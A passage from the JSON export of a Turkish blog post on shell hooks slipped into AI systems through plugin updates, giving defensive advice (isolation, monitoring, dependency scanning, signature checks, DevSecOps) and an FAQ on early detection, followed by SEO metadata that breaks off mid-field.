Kapsay\u0131c\u0131lar i\u00e7in g\u00fcvenlik en iyi uygulamalar\u0131n\u0131 (\u00f6rne\u011fin, root olmayan kullan\u0131c\u0131larla \u00e7al\u0131\u015ft\u0131rma, minimum imaj kullan\u0131m\u0131, g\u00fcvenlik yamalar\u0131) uygulay\u0131n.<\/li>\n<li><b>G\u00fcncelleme Y\u00f6netimi ve Otomasyon:<\/b> Otomatik g\u00fcncellemeler kolayl\u0131k sa\u011flasa da, kritik sistemlerde g\u00fcncellemelerin manuel olarak g\u00f6zden ge\u00e7irilmesi ve onaylanmas\u0131 \u00f6nemlidir. G\u00fcncelleme \u00f6ncesi test ortamlar\u0131nda (staging environment) kapsaml\u0131 testler yaparak olas\u0131 yan etkileri veya k\u00f6t\u00fc niyetli davran\u0131\u015flar\u0131 tespit edin.<\/li>\n<li><b>S\u00fcrekli \u0130zleme ve Loglama:<\/b> YZ sistemlerinizin ve alt\u0131nda yatan altyap\u0131n\u0131n s\u00fcrekli olarak izlenmesi (monitoring) ve detayl\u0131 log kayd\u0131 (logging) tutulmas\u0131 hayati \u00f6nem ta\u015f\u0131r. Anormal sistem \u00e7a\u011fr\u0131lar\u0131, beklenmedik a\u011f ba\u011flant\u0131lar\u0131, dosya sistemi de\u011fi\u015fiklikleri veya kaynak kullan\u0131m\u0131ndaki ani art\u0131\u015flar gibi g\u00f6stergeler, bir sald\u0131r\u0131n\u0131n i\u015faret\u00e7isi olabilir. SIEM (Security Information and Event Management) sistemleri bu konuda yard\u0131mc\u0131 olabilir.<\/li>\n<li><b>Statik ve Dinamik Analiz Ara\u00e7lar\u0131:<\/b> Kod taban\u0131n\u0131z\u0131 ve ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131z\u0131 statik uygulama g\u00fcvenlik testi (SAST) ve dinamik uygulama g\u00fcvenlik testi (DAST) ara\u00e7lar\u0131yla d\u00fczenli olarak taray\u0131n. Bu ara\u00e7lar, bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131, zay\u0131f kodlama pratiklerini ve potansiyel kabuk enjeksiyonu zafiyetlerini tespit etmeye yard\u0131mc\u0131 olabilir.<\/li>\n<li><b>Ba\u011f\u0131ml\u0131l\u0131k Taray\u0131c\u0131lar\u0131 (Dependency Scanners):<\/b> Projenizin t\u00fcm ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 ve onlar\u0131n ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 (transitive dependencies) tarayan ara\u00e7lar kullan\u0131n. Bu taray\u0131c\u0131lar, kullan\u0131lan k\u00fct\u00fcphanelerde bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 (CVE&#8217;ler) tespit ederek sizi uyarabilir. OWASP Dependency-Check gibi ara\u00e7lar bu ama\u00e7la kullan\u0131labilir.<\/li>\n<\/ul>\n<p>Bu \u00f6nlemlerin bir kombinasyonu, YZ sistemlerinizi siber tehditlere kar\u015f\u0131 daha diren\u00e7li hale getirecektir. Unutmay\u0131n, g\u00fcvenlik tek seferlik bir i\u015flem de\u011fil, s\u00fcrekli bir s\u00fcre\u00e7tir.<\/p>\n<h3>Geli\u015ftiriciler ve Operasyon Ekipleri \u0130\u00e7in \u0130leri D\u00fczey \u00d6nlemler<\/h3>\n<p>Yukar\u0131da bahsedilen temel koruma y\u00f6ntemlerinin yan\u0131 s\u0131ra, geli\u015ftiriciler ve operasyon (Ops) ekipleri, YZ sistemlerinin g\u00fcvenli\u011fini daha da art\u0131rmak i\u00e7in ileri d\u00fczey \u00f6nlemler alabilirler. Bu \u00f6nlemler, yaz\u0131l\u0131m geli\u015ftirme ya\u015fam d\u00f6ng\u00fcs\u00fcn\u00fcn (SDLC) her a\u015famas\u0131na g\u00fcvenlik d\u00fc\u015f\u00fcncesini entegre etmeyi ve otomasyondan faydalanmay\u0131 i\u00e7erir.<\/p>\n<ul>\n<li><b>G\u00fcvenli Yaz\u0131l\u0131m Geli\u015ftirme Ya\u015fam D\u00f6ng\u00fcs\u00fc (Secure SDLC):<\/b> Geli\u015ftirme s\u00fcrecinin en ba\u015f\u0131ndan itibaren g\u00fcvenli\u011fi bir \u00f6ncelik haline getirin. Tehdit modelleme (Threat Modeling) yaparak potansiyel sald\u0131r\u0131 vekt\u00f6rlerini belirleyin. G\u00fcvenlik gereksinimlerini tan\u0131mlay\u0131n ve g\u00fcvenlik testlerini geli\u015ftirme s\u00fcrecinin her a\u015famas\u0131na entegre edin. Bu, g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n erken a\u015famada tespit edilmesini ve d\u00fczeltilmesini sa\u011flar.<\/li>\n<li><b>\u0130mza Do\u011frulama ve B\u00fct\u00fcnl\u00fck Kontrolleri:<\/b> \u0130ndirilen eklentilerin ve k\u00fct\u00fcphanelerin b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve orijinalli\u011fini do\u011frulamak i\u00e7in kriptografik imzalar\u0131 (cryptographic signatures) kullan\u0131n. Paket y\u00f6neticileri (npm, pip) genellikle bu t\u00fcr do\u011frulamalar\u0131 destekler. Ayr\u0131ca, da\u011f\u0131t\u0131m \u00f6ncesinde ve sonras\u0131nda dosya b\u00fct\u00fcnl\u00fc\u011f\u00fc kontrolleri (checksums, hashes) yaparak, herhangi bir yetkisiz de\u011fi\u015fikli\u011fin tespit edilmesini sa\u011flay\u0131n.<\/li>\n<li><b>Runtime Application Self-Protection (RASP):<\/b> RASP \u00e7\u00f6z\u00fcmleri, YZ uygulamas\u0131n\u0131n i\u00e7ine entegre edilerek \u00e7al\u0131\u015fma zaman\u0131nda (runtime) sald\u0131r\u0131lar\u0131 tespit edebilir ve engelleyebilir. Bir kabuk kancas\u0131 tetiklendi\u011finde, RASP ajanlar\u0131 anormal davran\u0131\u015flar\u0131 alg\u0131layarak komutun \u00e7al\u0131\u015fmas\u0131n\u0131 durdurabilir veya alarm verebilir. Bu, geleneksel g\u00fcvenlik duvarlar\u0131n\u0131n veya IDS\/IPS sistemlerinin atlayabilece\u011fi i\u00e7 sald\u0131r\u0131lara kar\u015f\u0131 ek bir koruma katman\u0131 sa\u011flar.<\/li>\n<li><b>G\u00fcvenlik Otomasyonu ve DevSecOps:<\/b> G\u00fcvenlik kontrollerini ve testlerini CI\/CD (S\u00fcrekli Entegrasyon\/S\u00fcrekli Da\u011f\u0131t\u0131m) boru hatt\u0131na (pipeline) entegre ederek DevSecOps yakla\u015f\u0131m\u0131n\u0131 benimseyin. Otomatik g\u00fcvenlik taramalar\u0131, ba\u011f\u0131ml\u0131l\u0131k analizleri ve yap\u0131land\u0131rma kontrolleri, insan hatas\u0131n\u0131 azalt\u0131r ve g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n \u00fcretime ula\u015fmas\u0131n\u0131 engeller. Her kod de\u011fi\u015fikli\u011fi veya eklenti g\u00fcncellemesi, otomatik g\u00fcvenlik kontrollerinden ge\u00e7melidir.<\/li>\n<li><b>Geli\u015fmi\u015f \u0130zleme ve Davran\u0131\u015f Analizi:<\/b> Sadece sistem loglar\u0131n\u0131 de\u011fil, ayn\u0131 zamanda YZ modelinin ve ilgili uygulamalar\u0131n davran\u0131\u015fsal metriklerini de izleyin. \u00d6rne\u011fin, bir modelin normalde kullanmad\u0131\u011f\u0131 bir sistem \u00e7a\u011fr\u0131s\u0131 yapmas\u0131 veya beklenmedik bir a\u011f ba\u011flant\u0131s\u0131 kurmaya \u00e7al\u0131\u015fmas\u0131, k\u00f6t\u00fc niyetli bir aktivitenin g\u00f6stergesi olabilir. Makine \u00f6\u011frenimi tabanl\u0131 davran\u0131\u015f analizi ara\u00e7lar\u0131 (UEBA &#8211; User and Entity Behavior Analytics) bu t\u00fcr anormallikleri tespit edebilir.<\/li>\n<li><b>G\u00fcvenlik Yamalar\u0131 ve G\u00fcncel Tutma:<\/b> \u0130\u015fletim sistemi, k\u00fct\u00fcphaneler, \u00e7er\u00e7eveler (frameworks) ve t\u00fcm ba\u011f\u0131ml\u0131l\u0131klar\u0131n d\u00fczenli olarak g\u00fcncellendi\u011finden ve en son g\u00fcvenlik yamalar\u0131na sahip oldu\u011fundan emin olun. Bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kapatmak, sald\u0131rganlar\u0131n sisteme s\u0131zmas\u0131n\u0131 zorla\u015ft\u0131r\u0131r.<\/li>\n<li><b>S\u0131zma Testleri (Penetration Testing):<\/b> YZ sistemlerinize d\u00fczenli olarak s\u0131zma testleri uygulay\u0131n. Bu testler, etik hackerlar\u0131n sisteminizdeki zafiyetleri, eklentilerdeki olas\u0131 kabuk kancas\u0131 enjeksiyon noktalar\u0131n\u0131 ve di\u011fer g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 ger\u00e7ek bir sald\u0131rgan gibi bulmaya \u00e7al\u0131\u015fmas\u0131n\u0131 i\u00e7erir.<\/li>\n<\/ul>\n<p>Bu ileri d\u00fczey \u00f6nlemler, YZ sistemlerinin g\u00fcvenlik duru\u015funu \u00f6nemli \u00f6l\u00e7\u00fcde g\u00fc\u00e7lendirir ve eklenti g\u00fcncellemeleri gibi gizli tehditlere kar\u015f\u0131 daha kapsaml\u0131 bir koruma sa\u011flar. G\u00fcvenlik, sadece bir teknoloji meselesi de\u011fil, ayn\u0131 zamanda bir k\u00fclt\u00fcr ve s\u00fcre\u00e7 meselesidir.<\/p>\n<h3>Sonu\u00e7: Yapay Zeka G\u00fcvenli\u011finde Uyan\u0131k Olmak \u015eart<\/h3>\n<p>Yapay zeka modelleri, modern d\u00fcnyan\u0131n bir\u00e7ok alan\u0131nda devrim yarat\u0131rken, bu teknolojilerin g\u00fcvenli\u011fi de her ge\u00e7en g\u00fcn daha kritik hale gelmektedir. &#8220;Eklenti g\u00fcncellemeleriyle gelen gizli tehlike: Yapay zeka modellerinin g\u00f6z\u00fcnden ka\u00e7an kabuk kancalar\u0131&#8221; konusu, YZ ekosisteminin ne kadar karma\u015f\u0131k ve potansiyel olarak savunmas\u0131z olabilece\u011fini a\u00e7\u0131k\u00e7a ortaya koymaktad\u0131r. Masum g\u00f6r\u00fcnen bir g\u00fcncelleme, altyap\u0131n\u0131n derinliklerine s\u0131zarak YZ modelinin kendisinin asla fark edemeyece\u011fi, y\u0131k\u0131c\u0131 sonu\u00e7lara yol a\u00e7abilecek kabuk kancalar\u0131 ekleyebilir. Bu t\u00fcr sald\u0131r\u0131lar, veri s\u0131z\u0131nt\u0131lar\u0131ndan sistem kontrol\u00fcn\u00fcn ele ge\u00e7irilmesine kadar geni\u015f bir tehdit yelpazesini kapsar.<\/p>\n<p>Yapay zeka g\u00fcvenli\u011fi, sadece modelin do\u011frulu\u011funu veya performans\u0131n\u0131 sa\u011flamakla s\u0131n\u0131rl\u0131 de\u011fildir; ayn\u0131 zamanda modelin \u00fczerinde \u00e7al\u0131\u015ft\u0131\u011f\u0131 t\u00fcm yaz\u0131l\u0131m ve donan\u0131m y\u0131\u011f\u0131n\u0131n\u0131n (stack) b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve gizlili\u011fini de kapsar. Geli\u015ftiriciler, operasyon ekipleri ve g\u00fcvenlik uzmanlar\u0131, bu t\u00fcr gizli tehditlere kar\u015f\u0131 s\u00fcrekli uyan\u0131k olmal\u0131, g\u00fcvenli geli\u015ftirme pratiklerini benimsemeli ve \u00e7ok katmanl\u0131 savunma stratejileri uygulamal\u0131d\u0131r. G\u00fcvenilir kaynaklardan eklenti kullan\u0131m\u0131, d\u00fczenli kod incelemeleri, minimum yetki prensibi, izolasyon teknikleri, s\u00fcrekli izleme ve otomasyon, YZ sistemlerimizi bu t\u00fcr siber sald\u0131r\u0131lardan korumak i\u00e7in at\u0131lmas\u0131 gereken temel ad\u0131mlard\u0131r. Yapay zeka teknolojileri ilerledik\u00e7e, siber g\u00fcvenlik tehditleri de evrimle\u015fmeye devam edecektir. Bu nedenle, s\u00fcrekli \u00f6\u011frenme, adaptasyon ve proaktif g\u00fcvenlik yakla\u015f\u0131mlar\u0131, YZ&#8217;nin potansiyelini tam anlam\u0131yla g\u00fcvenli bir \u015fekilde ger\u00e7ekle\u015ftirebilmemiz i\u00e7in vazge\u00e7ilmezdir.<\/p>\n<h3>S\u0131k\u00e7a Sorulan Sorular<\/h3>\n<h4>1. Eklenti g\u00fcncellemelerini tamamen kapatmak bir \u00e7\u00f6z\u00fcm m\u00fcd\u00fcr?<\/h4>\n<p>Hay\u0131r, eklenti g\u00fcncellemelerini tamamen kapatmak genellikle iyi bir \u00e7\u00f6z\u00fcm de\u011fildir. G\u00fcncellemeler, yeni \u00f6zelliklerin yan\u0131 s\u0131ra kritik g\u00fcvenlik yamalar\u0131n\u0131 ve performans iyile\u015ftirmelerini de i\u00e7erir. G\u00fcncellemeleri kapatmak, sisteminizi bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131na kar\u015f\u0131 savunmas\u0131z b\u0131rakabilir. Do\u011fru yakla\u015f\u0131m, g\u00fcncellemeleri dikkatli bir \u015fekilde y\u00f6netmek, g\u00fcvenilir kaynaklardan geldi\u011finden emin olmak ve da\u011f\u0131t\u0131m \u00f6ncesi test etmektir.<\/p>\n<h4>2. A\u00e7\u0131k kaynakl\u0131 eklentiler daha m\u0131 g\u00fcvenlidir?<\/h4>\n<p>A\u00e7\u0131k kaynakl\u0131 eklentiler, kodlar\u0131 herkes taraf\u0131ndan incelenebildi\u011fi i\u00e7in potansiyel olarak daha \u015feffaf ve g\u00fcvenli olabilir. Ancak bu, otomatik olarak daha g\u00fcvenli olduklar\u0131 anlam\u0131na gelmez. K\u00f6t\u00fc niyetli akt\u00f6rler, a\u00e7\u0131k kaynak projelerine de s\u0131zabilir veya sahte a\u00e7\u0131k kaynak projeleri olu\u015fturabilir. \u00d6nemli olan, projenin aktif bir toplulu\u011fa sahip olmas\u0131, d\u00fczenli olarak denetlenmesi ve g\u00fcvenlik kay\u0131tlar\u0131n\u0131n (audit logs) bulunmas\u0131d\u0131r. Kod incelemesi ve ba\u011f\u0131ml\u0131l\u0131k taramas\u0131, a\u00e7\u0131k kaynakl\u0131 eklentiler i\u00e7in de kritik \u00f6neme sahiptir.<\/p>\n<h4>3. Yapay zeka modelimin \u00e7al\u0131\u015ft\u0131\u011f\u0131 ortam\u0131n g\u00fcvenli\u011fini nas\u0131l kontrol edebilirim?<\/h4>\n<p>Ortam g\u00fcvenli\u011fini kontrol etmek i\u00e7in \u00f6ncelikle kapsay\u0131c\u0131 (Docker) veya sanal makine (VM) imajlar\u0131n\u0131z\u0131n g\u00fcvenli oldu\u011fundan emin olun. Minimum yetki prensibini uygulay\u0131n ve modelin sadece ihtiyac\u0131 olan izinlere sahip oldu\u011fundan emin olun. Runtime ortam\u0131n\u0131 s\u00fcrekli izleyin (CPU, bellek, a\u011f trafi\u011fi, sistem \u00e7a\u011fr\u0131lar\u0131) ve anormallikleri tespit edin. Ayr\u0131ca, g\u00fcvenlik duvarlar\u0131 (firewall) ve a\u011f segmentasyonu kullanarak modelin \u00e7al\u0131\u015ft\u0131\u011f\u0131 ortam\u0131n d\u0131\u015far\u0131yla olan ileti\u015fimini s\u0131n\u0131rlay\u0131n.<\/p>\n<h4>4. Bu t\u00fcr bir sald\u0131r\u0131y\u0131 erken a\u015famada nas\u0131l tespit edebilirim?<\/h4>\n<p>Erken tespit i\u00e7in \u015fu y\u00f6ntemler kullan\u0131labilir:<\/p>\n<ul>\n<li><b>Log Analizi:<\/b> Sistem ve uygulama loglar\u0131n\u0131 d\u00fczenli olarak kontrol edin. Beklenmedik komut \u00e7al\u0131\u015ft\u0131rmalar\u0131 veya hata mesajlar\u0131 aray\u0131n.<\/li>\n<li><b>Davran\u0131\u015fsal \u0130zleme:<\/b> Modelin veya uygulaman\u0131n normal davran\u0131\u015f\u0131ndan sapmalar\u0131 (\u00f6rne\u011fin, anormal a\u011f ba\u011flant\u0131lar\u0131, y\u00fcksek kaynak kullan\u0131m\u0131, beklenmedik dosya eri\u015fimleri) izleyin.<\/li>\n<li><b>\u0130mza ve B\u00fct\u00fcnl\u00fck Kontrolleri:<\/b> Kritik dosyalar\u0131n ve ikili dosyalar\u0131n (binaries) b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc periyodik olarak kontrol edin.<\/li>\n<li><b>G\u00fcvenlik Taramalar\u0131:<\/b> D\u00fczenli olarak g\u00fcvenlik taramalar\u0131 (SAST, DAST, ba\u011f\u0131ml\u0131l\u0131k taray\u0131c\u0131lar\u0131) yaparak bilinen zafiyetleri tespit edin.<\/li>\n<li><b>Tehdit \u0130stihbarat\u0131:<\/b> Sekt\u00f6rdeki yeni tehditler ve sald\u0131r\u0131 vekt\u00f6rleri hakk\u0131nda bilgi sahibi olun.<\/li>\n<\/ul>\n<p>#YapayZekaG\u00fcvenli\u011fi #SiberG\u00fcvenlik #EklentiG\u00fcvenli\u011fi #ShellHooks #MLSecOps #TedarikZinciriSald\u0131r\u0131lar\u0131<\/p>\n<div class=\"github-example-link\"><strong>\u00d6rnek kod:<\/strong> <a href=\"https:\/\/github.com\/fatihsoysalcom\/plugin-update-injects-shell-hook\" target=\"_blank\" rel=\"noopener noreferrer\">github.com\/fatihsoysalcom\/plugin-update-injects-shell-hook<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"Yapay zeka (YZ) ve makine \u00f6\u011frenimi (ML) modelleri, g\u00fcn\u00fcm\u00fcz teknolojisinin temel ta\u015flar\u0131ndan biri haline geldi.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-44637","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131 - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131\" \/>\n<meta property=\"og:description\" content=\"Yapay zeka (YZ) ve makine \u00f6\u011frenimi (ML) modelleri, g\u00fcn\u00fcm\u00fcz teknolojisinin temel ta\u015flar\u0131ndan biri haline geldi.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-10T18:16:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-10T18:16:54+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"22 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131\",\"datePublished\":\"2026-09-10T18:16:22+00:00\",\"dateModified\":\"2026-09-10T18:16:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\"},\"wordCount\":4272,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\",\"name\":\"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131 - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-09-10T18:16:22+00:00\",\"dateModified\":\"2026-09-10T18:16:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131 - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/","og_locale":"tr_TR","og_type":"article","og_title":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131","og_description":"Yapay zeka (YZ) ve makine \u00f6\u011frenimi (ML) modelleri, g\u00fcn\u00fcm\u00fcz teknolojisinin temel ta\u015flar\u0131ndan biri haline geldi.","og_url":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-09-10T18:16:22+00:00","article_modified_time":"2026-09-10T18:16:54+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"22 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131","datePublished":"2026-09-10T18:16:22+00:00","dateModified":"2026-09-10T18:16:54+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/"},"wordCount":4272,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/","url":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/","name":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131 - Kodlar\u0131n Gizemli 